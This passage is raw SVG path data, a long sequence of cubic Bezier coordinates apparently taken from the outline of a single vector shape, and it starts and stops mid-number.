138419.15C113809.48 138440.76 113841.74 138462.38 113874.00 138484.00C113938.33 138505.33 114002.67 138526.67 114067.00 138548.00C114152.67 138548.00 114238.33 138548.00 114324.00 138548.00C114409.67 138591.00 114495.33 138634.00 114581.00 138677.00C114602.33 138677.00 114623.67 138677.00 114645.00 138677.00C114666.67 138666.00 114688.33 138655.00 114710.00 138644.00C114742.00 138644.00 114774.00 138644.00 114806.00 138644.00C114827.33 138676.33 114848.67 138708.67 114870.00 138741.00C114881.00 138741.00 114892.00 138741.00 114903.00 138741.00C114924.33 138730.33 114945.67 138719.67 114967.00 138709.00C115020.67 138709.00 115074.33 138709.00 115128.00 138709.00C115138.75 138719.70 115149.41 138730.50 115160.22 138741.15C115224.48 138784.10 115288.74 138827.05 115353.00 138870.00C115374.33 138912.67 115395.67 138955.33 115417.00 138998.00C115427.67 139008.67 115438.33 139019.33 115449.00 139030.00C115459.67 139062.33 115470.33 139094.67 115481.00 139127.00C115513.33 139137.67 115545.67 139148.33 115578.00 139159.00C115577.89 139180.67 115578.22 139202.36 115577.84 139224.01C115567.22 139288.01 115556.61 139352.00 115546.00 139416.00C115556.67 139426.67 115567.33 139437.33 115578.00 139448.00C115642.33 139448.00 115706.67 139448.00 115771.00 139448.00C115791.43 139468.31 115811.73 139488.76 115831.67 139509.56C115834.89 139515.16 115841.68 139512.35 115847.00 139513.00C115864.33 139513.00 115881.67 139513.00 115899.00 139513.00C115931.33 139502.00 115963.67 139491.00 115996.00 139480.00C116038.67 139405.00 116081.33 139330.00 116124.00 139255.00C116144.15 139234.73 116164.43 139214.58 116185.07 139194.81C116187.80 139190.26 116192.60 139190.82 116197.25 139191.00C116226.50 139191.00 116255.75 139191.00 116285.00 139191.00C116295.67 139212.33 116306.33 139233.67 116317.00 139255.00C116349.57 139266.16 116382.24 139277.04 116414.74 139288.37C116435.82 139298.91 116456.91 139309.45 116478.00 139320.00C116499.33 139309.33 116520.67 139298.67 116542.00 139288.00C116563.67 139266.33 116585.33 139244.67 116607.00 139223.00C116649.67 139233.67 116692.33 139244.33 116735.00 139255.00C116756.67 139266.00 116778.33 139277.00 116800.00 139288.00C116810.67 139298.67 116821.33 139309.33 116832.00 139320.00C116842.67 139341.33 116853.33 139362.67 116864.00 139384.00C116874.67 139394.67 116885.33 139405.33 116896.00 139416.00C116917.33 139426.67 116938.67 139437.33 116960.00 139448.00C116981.67 139426.67 117003.33 139405.33 117025.00 139384.00C117035.67 139384.00 117046.33 139384.00 117057.00 139384.00C117089.00 139405.33 117121.00 139426.67 117153.00 139448.00C117174.33 139437.33 117195.67 139426.67 117217.00 139416.00C117249.33 139426.67 117281.67 139437.33 117314.00 139448.00C117324.67 139426.67 117335.33 139405.33 117346.00 139384.00C117356.67 139384.00 117367.33 139384.00 117378.00 139384.00C117378.00 139352.00 117378.00 139320.00 117378.00 139288.00C117388.67 139277.00 117399.33 139266.00 117410.00 139255.00C117431.67 139255.00 117453.33 139255.00 117475.00 139255.00C117496.33 139244.33 117517.67 139233.67 117539.00 139223.00C117571.33 139244.67 117603.67 139266.33 117636.00 139288.00C117636.00 139298.67 117636.00 139309.33 117636.00 139320.00C117657.33 139341.33 117678.67 139362.67 117700.00 139384.00C117710.67 139405.33 117721.33 139426.67 117732.00 139448.00C117785.67 139448.00 117839.33 139448.00 117893.00 139448.00C117903.67 139426.67 117914.33 139405.33 117925.00 139384.00C117946.33 139384.00 117967.67 139384.00 117989.00 139384.00C118010.33 139373.33 118031.67 139362.67 118053.00 139352.00C118096.00 139373.33 118139.00 139394.67 118182.00 139416.00C118192.67 139426.67 118203.33 139437.33 118214.00 139448.00C118214.00 139458.67 118214.00 139469.33 118214.00 139480.00C118224.67 139480.00 118235.33 139480.00 118246.00 139480.00C118267.67 139469.33 118289.33 139458.67 118311.00 139448.00C118332.33 139458.67 118353.67 139469.33 118375.00 139480.00C118407.33 139480.00 118439.67 139480.00 118472.00 139480.00C118504.00 139469.33 118536.00 139458.67 118568.00 139448.00C118589.33 139426.67 118610.67 139405.33 118632.00 139384.00C118664.33 139394.67 118696.67 139405.33 118729.00 139416.00C118761.00 139416.00 118793.00 139416.00 118825.00 139416.00C118846.33 139384.00 118867.67 139352.00 118889.00 139320.00C118910.67 139320.00 118932.33 139320.00 118954.00 139320.00C118975.33 139330.67 118996.67 139341.33 119018.00 139352.00C119050.33 139319.67 119082.67 139287.33 119115.00 139255.00C119115.00 139244.33 119115.00 139233.67 119115.00 139223.00C119147.00 139233.67 119179.00 139244.33 119211.00 139255.00C119232.33 139255.00 119253.67 139255.00 119275.00 139255.00C119286.00 139287.33 119297.00 139319.67 119308.00 139352.00C119329.33 139352.00 119350.67 139352.00 119372.00 139352.00C119382.67 139341.33 119393.33 139330.67 119404.00 139320.00C119393.33 139298.33 119382.67 139276.67 119372.00 139255.00C119372.00 139244.33 119372.00 139233.67 119372.00 139223.00C119382.67 139212.33 119393.33 139201.67 119404.00 139191.00C119436.00 139212.33 119468.00 139233.67 119500.00 139255.00C119500.00 139266.00 119500.00 139277.00 119500.00 139288.00C119511.00 139309.33 119522.00 139330.67 119533.00 139352.00C119522.00 139384.00 119511.00 139416.00 119500.00 139448.00C119489.33 139458.67 119478.67 139469.33 119468.00 139480.00C119468.00 139491.00 119468.00 139502.00 119468.00 139513.00C119500.33 139545.00 119532.67 139577.00 119565.00 139609.00C119597.00 139609.00 119629.00 139609.00 119661.00 139609.00C119682.40 139619.73 119703.85 139630.37 119725.22 139641.15C119757.48 139662.76 119789.74 139684.38 119822.00 139706.00C119822.00 139716.67 119822.00 139727.33 119822.00 139738.00C119811.33 139738.00 119800.67 139738.00 119790.00 139738.00C119790.00 139748.67 119790.00 139759.33 119790.00 139770.00C119779.33 139791.33 119768.67 139812.67 119758.00 139834.00C119758.00 139877.00 119758.00 139920.00 119758.00 139963.00C119779.33 139963.00 119800.67 139963.00 119822.00 139963.00C119843.33 139984.33 119864.67 140005.67 119886.00 140027.00C119896.67 140016.33 119907.33 140005.67 119918.00 139995.00C119938.79 140015.05 119959.46 140035.22 119979.76 140055.77C119983.06 140061.15 119989.76 140058.31 119995.00 140059.00C120012.33 140059.00 120029.67 140059.00 120047.00 140059.00C120079.33 140048.33 120111.67 140037.67 120144.00 140027.00C120165.33 140048.33 120186.67 140069.67 120208.00 140091.00C120218.67 140091.00 120229.33 140091.00 120240.00 140091.00C120240.00 140102.00 120240.00 140113.00 120240.00 140124.00C120250.67 140134.67 120261.33 140145.33 120272.00 140156.00C120282.67 140156.00 120293.33 140156.00 120304.00 140156.00C120314.67 140166.67 120325.33 140177.33 120336.00 140188.00C120357.67 140188.00 120379.33 140188.00 120401.00 140188.00C120422.33 140198.67 120443.67 140209.33 120465.00 140220.00C120486.33 140209.33 120507.67 140198.67 120529.00 140188.00C120550.67 140188.00 120572.33 140188.00 120594.00 140188.00C120615.33 140209.33 120636.67 140230.67 120658.00 140252.00C120636.67 140284.33 120615.33 140316.67 120594.00 140349.00C120604.67 140359.67 120615.33 140370.33 120626.00 140381.00C120647.33 140391.67 120668.67 140402.33 120690.00 140413.00C120700.67 140434.33 120711.33 140455.67 120722.00 140477.00C120732.67 140466.33 120743.33 140455.67 120754.00 140445.00C120754.00 140455.67 120754.00 140466.33 120754.00 140477.00C120765.00 140487.67 120776.00 140498.33 120787.00 140509.00C120819.00 140509.00 120851.00 140509.00 120883.00 140509.00C120872.33 140520.00 120861.67 140531.00 120851.00 140542.00C120861.70 140552.76 120872.52 140563.40 120883.14 140574.23C120915.09 140627.49 120947.05 140680.74 120979.00 140734.00C120979.00 140766.33 120979.00 140798.67 120979.00 140831.00C120990.00 140841.67 121001.00 140852.33 121012.00 140863.00C121022.67 140863.00 121033.33 140863.00 121044.00 140863.00C121033.33 140884.33 121022.67 140905.67 121012.00 140927.00C121022.67 140938.00 121033.33 140949.00 121044.00 140960.00C121065.33 141002.67 121086.67 141045.33 121108.00 141088.00C121108.00 141120.33 121108.00 141152.67 121108.00 141185.00C121118.67 141206.33 121129.33 141227.67 121140.00 141249.00C121140.00 141270.33 121140.00 141291.67 121140.00 141313.00C121129.33 141334.67 121118.67 141356.33 121108.00 141378.00C121097.33 141367.00 121086.67 141356.00 121076.00 141345.00C121076.00 141377.33 121076.00 141409.67 121076.00 141442.00C121108.00 141442.00 121140.00 141442.00 121172.00 141442.00C121204.33 141463.33 121236.67 141484.67 121269.00 141506.00C121269.00 141516.67 121269.00 141527.33 121269.00 141538.00C121279.67 141548.67 121290.33 141559.33 121301.00 141570.00C121290.33 141581.00 121279.67 141592.00 121269.00 141603.00C121258.33 141592.00 121247.67 141581.00 121237.00 141570.00C121204.67 141581.00 121172.33 141592.00 121140.00 141603.00C121140.00 141613.67 121140.00 141624.33 121140.00 141635.00C121172.33 141635.00 121204.67 141635.00 121237.00 141635.00C121237.00 141656.33 121237.00 141677.67 121237.00 141699.00C121247.67 141699.00 121258.33 141699.00 121269.00 141699.00C121279.67 141709.67 121290.33 141720.33 121301.00 141731.00C121311.67 141731.00 121322.33 141731.00 121333.00 141731.00C121333.00 141752.33 121333.00 141773.67 121333.00 141795.00C121354.33 141795.00 121375.67 141795.00 121397.00 141795.00C121386.33 141806.00 121375.67 141817.00 121365.00 141828.00C121375.67 141838.67 121386.33 141849.33 121397.00 141860.00C121386.33 141860.00 121375.67 141860.00 121365.00 141860.00C121354.33 141849.33 121343.67 141838.67 121333.00 141828.00C121322.33 141828.00 121311.67 141828.00 121301.00 141828.00C121279.67 141849.33 121258.33 141870.67 121237.00 141892.00C121237.00 141945.67 121237.00 141999.33 121237.00 142053.00C121215.33 142042.33 121193.67 142031.67 121172.00 142021.00C121172.00 142042.33 121172.00 142063.67 121172.00 142085.00C121161.33 142095.67 121150.67 142106.33 121140.00 142117.00C121150.67 142138.33 121161.33 142159.67 121172.00 142181.00C121161.33 142181.00 121150.67 142181.00 121140.00 142181.00C121129.33 142192.00 121118.67 142203.00 121108.00 142214.00C121118.75 142224.70 121129.40 142235.51 121140.22 142246.15C121172.48 142267.43 121204.74 142288.72 121237.00 142310.00C121226.33 142320.67 121215.67 142331.33 121205.00 142342.00C121215.67 142363.33 121226.33 142384.67 121237.00 142406.00C121226.33 142427.67 121215.67 142449.33 121205.00 142471.00C121215.67 142481.67 121226.33 142492.33 121237.00 142503.00C121237.00 142513.67 121237.00 142524.33 121237.00 142535.00C121215.33 142556.33 121193.67 142577.67 121172.00 142599.00C121161.33 142620.67 121150.67 142642.33 121140.00 142664.00C121150.67 142674.67 121161.33 142685.33 121172.00 142696.00C121172.00 142717.33 121172.00 142738.67 121172.00 142760.00C121183.00 142760.00 121194.00 142760.00 121205.00 142760.00C121205.00 142770.67 121205.00 142781.33 121205.00 142792.00C121194.00 142802.67 121183.00 142813.33 121172.00 142824.00C121193.67 142835.00 121215.33 142846.00 121237.00 142857.00C121237.00 142867.67 121237.00 142878.33 121237.00 142889.00C121258.33 142899.67 121279.67 142910.33 121301.00 142921.00C121301.00 142931.67 121301.00 142942.33 121301.00 142953.00C121311.67 142953.00 121322.33 142953.00 121333.00 142953.00C121333.00 142974.33 121333.00 142995.67 121333.00 143017.00C121343.67 143017.00 121354.33 143017.00 121365.00 143017.00C121375.67 143028.00 121386.33 143039.00 121397.00 143050.00C121408.00 143050.00 121419.00 143050.00 121430.00 143050.00C121430.00 143060.67 121430.00 143071.33 121430.00 143082.00C121440.67 143082.00 121451.33 143082.00 121462.00 143082.00C121462.00 143092.67 121462.00 143103.33 121462.00 143114.00C121472.67 143124.67 121483.33 143135.33 121494.00 143146.00C121483.33 143167.33 121472.67 143188.67 121462.00 143210.00C121462.00 143220.67 121462.00 143231.33 121462.00 143242.00C121472.67 143263.67 121483.33 143285.33 121494.00 143307.00C121483.33 143307.00 121472.67 143307.00 121462.00 143307.00C121440.33 143296.33 121418.67 143285.67 121397.00 143275.00C121397.00 143307.00 121397.00 143339.00 121397.00 143371.00C121386.33 143381.67 121375.67 143392.33 121365.00 143403.00C121386.67 143413.67 121408.33 143424.33 121430.00 143435.00C121419.00 143445.67 121408.00 143456.33 121397.00 143467.00C121397.00 143478.00 121397.00 143489.00 121397.00 143500.00C121408.00 143521.33 121419.00 143542.67 121430.00 143564.00C121430.00 143607.00 121430.00 143650.00 121430.00 143693.00C121386.90 143714.13 121343.89 143735.45 121301.00 143757.00C121290.33 143757.00 121279.67 143757.00 121269.00 143757.00C121269.00 143767.67 121269.00 143778.33 121269.00 143789.00C121279.67 143799.67 121290.33 143810.33 121301.00 143821.00C121279.67 143810.33 121258.33 143799.67 121237.00 143789.00C121226.33 143789.00 121215.67 143789.00 121205.00 143789.00C121226.33 143799.67 121247.67 143810.33 121269.00 143821.00C121258.33 143831.67 121247.67 143842.33 121237.00 143853.00C121226.33 143853.00 121215.67 143853.00 121205.00 143853.00C121215.67 143864.00 121226.33 143875.00 121237.00 143886.00C121237.00 143907.33 121237.00 143928.67 121237.00 143950.00C121247.67 143960.67 121258.33 143971.33 121269.00 143982.00C121279.67 144003.33 121290.33 144024.67 121301.00 144046.00C121322.33 144024.67 121343.67 144003.33 121365.00 143982.00C121365.00 144014.00 121365.00 144046.00 121365.00 144078.00C121381.86 144095.36 121398.50 144112.93 121416.12 144129.53C121431.65 144144.45 121446.76 144159.79 121462.00 144175.00C121462.00 144185.67 121462.00 144196.33 121462.00 144207.00C121472.67 144207.00 121483.33 144207.00 121494.00 144207.00C121515.33 144217.67 121536.67 144228.33 121558.00 144239.00C121558.00 144228.33 121558.00 144217.67 121558.00 144207.00C121579.67 144196.33 121601.33 144185.67 121623.00 144175.00C121623.00 144185.67 121623.00 144196.33 121623.00 144207.00C121633.67 144207.00 121644.33 144207.00 121655.00 144207.00C121655.00 144217.67 121655.00 144228.33 121655.00 144239.00C121665.67 144249.67 121676.33 144260.33 121687.00 144271.00C121654.67 144271.00 121622.33 144271.00 121590.00 144271.00C121601.00 144292.67 121612.00 144314.33 121623.00 144336.00C121633.67 144325.00 121644.33 144314.00 121655.00 144303.00C121665.67 144314.00 121676.33 144325.00 121687.00 144336.00C121687.00 144346.67 121687.00 144357.33 121687.00 144368.00C121697.67 144368.00 121708.33 144368.00 121719.00 144368.00C121719.00 144378.67 121719.00 144389.33 121719.00 144400.00C121697.67 144400.00 121676.33 144400.00 121655.00 144400.00C121655.00 144410.67 121655.00 144421.33 121655.00 144432.00C121665.67 144432.00 121676.33 144432.00 121687.00 144432.00C121708.33 144442.67 121729.67 144453.33 121751.00 144464.00C121751.00 144474.67 121751.00 144485.33 121751.00 144496.00C121740.33 144507.00 121729.67 144518.00 121719.00 144529.00C121719.00 144539.67 121719.00 144550.33 121719.00 144561.00C121729.67 144561.00 121740.33 144561.00 121751.00 144561.00C121761.67 144571.67 121772.33 144582.33 121783.00 144593.00C121783.00 144603.67 121783.00 144614.33 121783.00 144625.00C121793.67 144625.00 121804.33 144625.00 121815.00 144625.00C121804.33 144635.67 121793.67 144646.33 121783.00 144657.00C121772.33 144657.00 121761.67 144657.00 121751.00 144657.00C121761.67 144657.00 121772.33 144657.00 121783.00 144657.00C121772.33 144667.67 121761.67 144678.33 121751.00 144689.00C121783.33 144689.00 121815.67 144689.00 121848.00 144689.00C121848.00 144700.00 121848.00 144711.00 121848.00 144722.00C121858.67 144722.00 121869.33 144722.00 121880.00 144722.00C121880.00 144743.33 121880.00 144764.67 121880.00 144786.00C121901.33 144807.33 121922.67 144828.67 121944.00 144850.00C121965.33 144860.67 121986.67 144871.33 122008.00 144882.00C122008.00 144892.67 122008.00 144903.33 122008.00 144914.00C122019.00 144914.00 122030.00 144914.00 122041.00 144914.00C122030.00 144925.00 122019.00 144936.00 122008.00 144947.00C122019.00 144957.67 122030.00 144968.33 122041.00 144979.00C122041.00 144989.67 122041.00 145000.33 122041.00 145011.00C122051.75 145011.06 122062.50 145010.89 122073.25 145011.08C122105.17 145021.72 122137.08 145032.36 122169.00 145043.00C122158.33 145053.67 122147.67 145064.33 122137.00 145075.00C122147.67 145075.00 122158.33 145075.00 122169.00 145075.00C122158.33 145085.67 122147.67 145096.33 122137.00 145107.00C122169.00 145117.67 122201.00 145128.33 122233.00 145139.00C122233.00 145150.00 122233.00 145161.00 122233.00 145172.00C122244.00 145161.00 122255.00 145150.00 122266.00 145139.00C122276.67 145150.00 122287.33 145161.00 122298.00 145172.00C122308.67 145161.00 122319.33 145150.00 122330.00 145139.00C122340.67 145150.00 122351.33 145161.00 122362.00 145172.00C122362.00 145182.67 122362.00 145193.33 122362.00 145204.00C122394.33 145225.33 122426.67 145246.67 122459.00 145268.00C122469.67 145268.00 122480.33 145268.00 122491.00 145268.00C122491.00 145278.67 122491.00 145289.33 122491.00 145300.00C122501.67 145310.67 122512.33 145321.33 122523.00 145332.00C122501.67 145343.00 122480.33 145354.00 122459.00 145365.00C122459.00 145440.00 122459.00 145515.00 122459.00 145590.00C122437.33 145600.67 122415.67 145611.33 122394.00 145622.00C122405.02 145632.86 122415.73 145644.04 122426.93 145654.69C122469.62 145686.46 122512.31 145718.23 122555.00 145750.00C122555.00 145761.00 122555.00 145772.00 122555.00 145783.00C122576.33 145783.00 122597.67 145783.00 122619.00 145783.00C122629.67 145793.67 122640.33 145804.33 122651.00 145815.00C122640.33 145825.67 122629.67 145836.33 122619.00 145847.00C122629.67 145847.00 122640.33 145847.00 122651.00 145847.00C122662.00 145857.67 122673.00 145868.33 122684.00 145879.00C122673.00 145900.33 122662.00 145921.67 122651.00 145943.00C122667.93 145959.45 122685.08 145975.69 122701.30 145992.85C122706.20 145997.90 122711.10 146002.95 122716.00 146008.00C122716.00 146029.33 122716.00 146050.67 122716.00 146072.00C122726.67 146082.67 122737.33 146093.33 122748.00 146104.00C122758.67 146093.33 122769.33 146082.67 122780.00 146072.00C122790.67 146072.00 122801.33 146072.00 122812.00 146072.00C122833.67 146093.33 122855.33 146114.67 122877.00 146136.00C122887.67 146136.00 122898.33 146136.00 122909.00 146136.00C122909.00 146157.67 122909.00 146179.33 122909.00 146201.00C122941.00 146201.00 122973.00 146201.00 123005.00 146201.00C123015.67 146211.67 123026.33 146222.33 123037.00 146233.00C123058.67 146233.00 123080.33 146233.00 123102.00 146233.00C123112.67 146243.67 123123.33 146254.33 123134.00 146265.00C123101.67 146297.00 123069.33 146329.00 123037.00 146361.00C123026.33 146361.00 123015.67 146361.00 123005.00 146361.00C122966.99 146418.67 122928.96 146476.33 122890.52 146533.72C122886.02 146540.48 122881.51 146547.24 122877.00 146554.00C122877.00 146564.67 122877.00 146575.33 122877.00 146586.00C122887.67 146597.00 122898.33 146608.00 122909.00 146619.00C122919.67 146597.33 122930.33 146575.67 122941.00 146554.00C122951.67 146554.00 122962.33 146554.00 122973.00 146554.00C122973.00 146564.67 122973.00 146575.33 122973.00 146586.00C122962.33 146607.67 122951.67 146629.33 122941.00 146651.00C122919.67 146672.33 122898.33 146693.67 122877.00 146715.00C122887.67 146725.67 122898.33 146736.33 122909.00 146747.00C122898.33 146768.33 122887.67 146789.67 122877.00 146811.00C122887.67 146811.00 122898.33 146811.00 122909.00 146811.00C122909.00 146832.67 122909.00 146854.33 122909.00 146876.00C122898.33 146876.00 122887.67 146876.00 122877.00 146876.00C122856.21 146896.05 122835.54 146916.22 122815.24 146936.77C122809.85 146940.06 122812.69 146946.76 122812.00 146952.00C122812.00 146969.33 122812.00 146986.67 122812.00 147004.00C122780.00 147014.67 122748.00 147025.33 122716.00 147036.00C122705.33 147036.00 122694.67 147036.00 122684.00 147036.00C122694.67 147057.67 122705.33 147079.33 122716.00 147101.00C122716.00 147122.33 122716.00 147143.67 122716.00 147165.00C122726.67 147175.67 122737.33 147186.33 122748.00 147197.00C122737.33 147207.67 122726.67 147218.33 122716.00 147229.00C122705.33 147250.67 122694.67 147272.33 122684.00 147294.00C122673.00 147283.33 122662.00 147272.67 122651.00 147262.00C122640.33 147272.67 122629.67 147283.33 122619.00 147294.00C122608.33 147294.00 122597.67 147294.00 122587.00 147294.00C122587.00 147315.33 122587.00 147336.67 122587.00 147358.00C122597.67 147379.33 122608.33 147400.67 122619.00 147422.00C122619.00 147433.00 122619.00 147444.00 122619.00 147455.00C122608.33 147455.00 122597.67 147455.00 122587.00 147455.00C122608.33 147465.67 122629.67 147476.33 122651.00 147487.00C122629.67 147508.33 122608.33 147529.67 122587.00 147551.00C122587.00 147561.67 122587.00 147572.33 122587.00 147583.00C122597.67 147593.67 122608.33 147604.33 122619.00 147615.00C122608.33 147647.33 122597.67 147679.67 122587.00 147712.00C122597.67 147712.00 122608.33 147712.00 122619.00 147712.00C122619.00 147722.67 122619.00 147733.33 122619.00 147744.00C122629.67 147744.00 122640.33 147744.00 122651.00 147744.00C122651.00 147754.67 122651.00 147765.33 122651.00 147776.00C122640.33 147797.33 122629.67 147818.67 122619.00 147840.00C122629.67 147840.00 122640.33 147840.00 122651.00 147840.00C122651.00 147850.67 122651.00 147861.33 122651.00 147872.00C122662.00 147872.00 122673.00 147872.00 122684.00 147872.00C122716.00 147904.33 122748.00 147936.67 122780.00 147969.00C122812.33 147969.00 122844.67 147969.00 122877.00 147969.00C122898.33 147979.67 122919.67 147990.33 122941.00 148001.00C122994.67 148001.00 123048.33 148001.00 123102.00 148001.00C123102.00 147979.67 123102.00 147958.33 123102.00 147937.00C123123.33 147937.00 123144.67 147937.00 123166.00 147937.00C123166.00 147926.33 123166.00 147915.67 123166.00 147905.00C123176.67 147894.00 123187.33 147883.00 123198.00 147872.00C123283.67 147872.00 123369.33 147872.00 123455.00 147872.00C123465.67 147883.00 123476.33 147894.00 123487.00 147905.00C123508.67 147915.67 123530.33 147926.33 123552.00 147937.00C123562.67 147915.33 123573.33 147893.67 123584.00 147872.00C123594.67 147872.00 123605.33 147872.00 123616.00 147872.00C123616.00 147883.00 123616.00 147894.00 123616.00 147905.00C123637.33 147905.00 123658.67 147905.00 123680.00 147905.00C123680.00 147894.00 123680.00 147883.00 123680.00 147872.00C123690.67 147872.00 123701.33 147872.00 123712.00 147872.00C123723.00 147893.67 123734.00 147915.33 123745.00 147937.00C123755.67 147937.00 123766.33 147937.00 123777.00 147937.00C123787.67 147926.33 123798.33 147915.67 123809.00 147905.00C123819.67 147905.00 123830.33 147905.00 123841.00 147905.00C123851.67 147883.33 123862.33 147861.67 123873.00 147840.00C123883.67 147829.33 123894.33 147818.67 123905.00 147808.00C123905.00 147786.67 123905.00 147765.33 123905.00 147744.00C123916.00 147733.33 123927.00 147722.67 123938.00 147712.00C123927.00 147722.67 123916.00 147733.33 123905.00 147744.00C123894.33 147733.33 123883.67 147722.67 123873.00 147712.00C123883.67 147701.33 123894.33 147690.67 123905.00 147680.00C123916.00 147680.00 123927.00 147680.00 123938.00 147680.00C123959.33 147690.67 123980.67 147701.33 124002.00 147712.00C124023.33 147701.33 124044.67 147690.67 124066.00 147680.00C124076.67 147680.00 124087.33 147680.00 124098.00 147680.00C124098.00 147690.67 124098.00 147701.33 124098.00 147712.00C124087.33 147712.00 124076.67 147712.00 124066.00 147712.00C124055.33 147744.00 124044.67 147776.00 124034.00 147808.00C124055.33 147797.33 124076.67 147786.67 124098.00 147776.00C124109.00 147776.00 124120.00 147776.00 124131.00 147776.00C124131.00 147797.33 124131.00 147818.67 124131.00 147840.00C124152.33 147840.00 124173.67 147840.00 124195.00 147840.00C124195.00 147850.67 124195.00 147861.33 124195.00 147872.00C124216.33 147872.00 124237.67 147872.00 124259.00 147872.00C124269.67 147893.67 124280.33 147915.33 124291.00 147937.00C124312.67 147915.33 124334.33 147893.67 124356.00 147872.00C124388.00 147872.00 124420.00 147872.00 124452.00 147872.00C124462.67 147883.00 124473.33 147894.00 124484.00 147905.00C124494.67 147905.00 124505.33 147905.00 124516.00 147905.00C124516.00 147894.00 124516.00 147883.00 124516.00 147872.00C124526.96 147871.89 124537.95 147872.23 124548.89 147871.83C124602.26 147861.21 124655.63 147850.61 124709.00 147840.00C124730.67 147850.67 124752.33 147861.33 124774.00 147872.00C124784.67 147872.00 124795.33 147872.00 124806.00 147872.00C124784.33 147850.67 124762.67 147829.33 124741.00 147808.00C124752.00 147797.33 124763.00 147786.67 124774.00 147776.00C124795.33 147797.33 124816.67 147818.67 124838.00 147840.00C124859.33 147818.67 124880.67 147797.33 124902.00 147776.00C124912.67 147786.67 124923.33 147797.33 124934.00 147808.00C124944.67 147829.33 124955.33 147850.67 124966.00 147872.00C124987.67 147872.00 125009.33 147872.00 125031.00 147872.00C125052.33 147883.00 125073.67 147894.00 125095.00 147905.00C125105.67 147937.00 125116.33 147969.00 125127.00 148001.00C125148.67 147990.33 125170.33 147979.67 125192.00 147969.00C125202.67 147947.67 125213.33 147926.33 125224.00 147905.00C125234.67 147905.00 125245.33 147905.00 125256.00 147905.00C125256.00 147926.33 125256.00 147947.67 125256.00 147969.00C125266.67 147969.00 125277.33 147969.00 125288.00 147969.00C125309.43 147958.33 125330.79 147947.52 125352.26 147936.94C125395.17 147926.29 125438.09 147915.65 125481.00 147905.00C125502.33 147926.33 125523.67 147947.67 125545.00 147969.00C125545.00 147926.00 125545.00 147883.00 125545.00 147840.00C125566.67 147850.67 125588.33 147861.33 125610.00 147872.00C125620.67 147883.00 125631.33 147894.00 125642.00 147905.00C125631.33 147915.67 125620.67 147926.33 125610.00 147937.00C125620.67 147937.00 125631.33 147937.00 125642.00 147937.00C125631.33 147947.67 125620.67 147958.33 125610.00 147969.00C125620.67 147979.67 125631.33 147990.33 125642.00 148001.00C125631.33 148001.00 125620.67 148001.00 125610.00 148001.00C125631.33 148011.67 125652.67 148022.33 125674.00 148033.00C125684.67 148011.67 125695.33 147990.33 125706.00 147969.00C125727.33 147958.33 125748.67 147947.67 125770.00 147937.00C125770.00 147926.33 125770.00 147915.67 125770.00 147905.00C125791.67 147905.00 125813.33 147905.00 125835.00 147905.00C125856.33 147883.33 125877.67 147861.67 125899.00 147840.00C125909.67 147850.67 125920.33 147861.33 125931.00 147872.00C125941.67 147861.33 125952.33 147850.67 125963.00 147840.00C125984.67 147861.67 126006.33 147883.33 126028.00 147905.00C126038.67 147894.00 126049.33 147883.00 126060.00 147872.00C126070.67 147893.67 126081.33 147915.33 126092.00 147937.00C126102.67 147947.67 126113.33 147958.33 126124.00 147969.00C126124.00 147979.67 126124.00 147990.33 126124.00 148001.00C126134.67 148022.33 126145.33 148043.67 126156.00 148065.00C126177.33 148065.00 126198.67 148065.00 126220.00 148065.00C126220.00 148076.00 126220.00 148087.00 126220.00 148098.00C126231.00 148098.00 126242.00 148098.00 126253.00 148098.00C126253.00 148108.67 126253.00 148119.33 126253.00 148130.00C126263.67 148130.00 126274.33 148130.00 126285.00 148130.00C126295.67 148140.67 126306.33 148151.33 126317.00 148162.00C126317.00 148172.67 126317.00 148183.33 126317.00 148194.00C126349.00 148194.00 126381.00 148194.00 126413.00 148194.00C126413.00 148183.33 126413.00 148172.67 126413.00 148162.00C126423.67 148172.67 126434.33 148183.33 126445.00 148194.00C126445.00 148204.67 126445.00 148215.33 126445.00 148226.00C126434.33 148236.67 126423.67 148247.33 126413.00 148258.00C126413.00 148279.67 126413.00 148301.33 126413.00 148323.00C126402.33 148323.00 126391.67 148323.00 126381.00 148323.00C126381.00 148344.33 126381.00 148365.67 126381.00 148387.00C126359.67 148397.67 126338.33 148408.33 126317.00 148419.00C126306.25 148429.70 126295.59 148440.50 126284.78 148451.15C126252.52 148472.76 126220.26 148494.38 126188.00 148516.00C126188.00 148548.00 126188.00 148580.00 126188.00 148612.00C126177.33 148622.67 126166.67 148633.33 126156.00 148644.00C126145.33 148665.33 126134.67 148686.67 126124.00 148708.00C126134.67 148729.67 126145.33 148751.33 126156.00 148773.00C126145.33 148783.67 126134.67 148794.33 126124.00 148805.00C126156.00 148805.00 126188.00 148805.00 126220.00 148805.00C126220.00 148826.33 126220.00 148847.67 126220.00 148869.00C126199.57 148889.31 126179.27 148909.76 126159.33 148930.56C126157.56 148932.41 126154.22 148934.92 126159.00 148934.00C126168.67 148934.00 126178.33 148934.00 126188.00 148934.00C126177.33 148955.33 126166.67 148976.67 126156.00 148998.00C126156.00 148987.33 126156.00 148976.67 126156.00 148966.00C126145.33 148966.00 126134.67 148966.00 126124.00 148966.00C126124.00 149019.33 126124.00 149072.67 126124.00 149126.00C126134.67 149137.00 126145.33 149148.00 126156.00 149159.00C126145.33 149169.67 126134.67 149180.33 126124.00 149191.00C126134.67 149201.67 126145.33 149212.33 126156.00 149223.00C126145.33 149233.67 126134.67 149244.33 126124.00 149255.00C126124.00 149276.33 126124.00 149297.67 126124.00 149319.00C126113.33 149340.67 126102.67 149362.33 126092.00 149384.00C126070.67 149394.67 126049.33 149405.33 126028.00 149416.00C126028.00 149426.67 126028.00 149437.33 126028.00 149448.00C126017.00 149448.00 126006.00 149448.00 125995.00 149448.00C125995.00 149491.00 125995.00 149534.00 125995.00 149577.00C126006.00 149577.00 126017.00 149577.00 126028.00 149577.00C126028.00 149587.67 126028.00 149598.33 126028.00 149609.00C126038.67 149619.67 126049.33 149630.33 126060.00 149641.00C126060.00 149662.33 126060.00 149683.67 126060.00 149705.00C126081.33 149705.00 126102.67 149705.00 126124.00 149705.00C126124.00 149715.67 126124.00 149726.33 126124.00 149737.00C126134.67 149748.00 126145.33 149759.00 126156.00 149770.00C126156.00 149791.33 126156.00 149812.67 126156.00 149834.00C126193.06 149871.12 126230.15 149908.22 126267.64 149944.90C126273.43 149950.60 126279.21 149956.30 126285.00 149962.00C126295.67 149962.00 126306.33 149962.00 126317.00 149962.00C126327.67 149940.67 126338.33 149919.33 126349.00 149898.00C126359.70 149887.25 126370.51 149876.59 126381.15 149865.78C126402.43 149833.85 126423.72 149801.93 126445.00 149770.00C126456.00 149759.00 126467.00 149748.00 126478.00 149737.00C126499.33 149737.00 126520.67 149737.00 126542.00 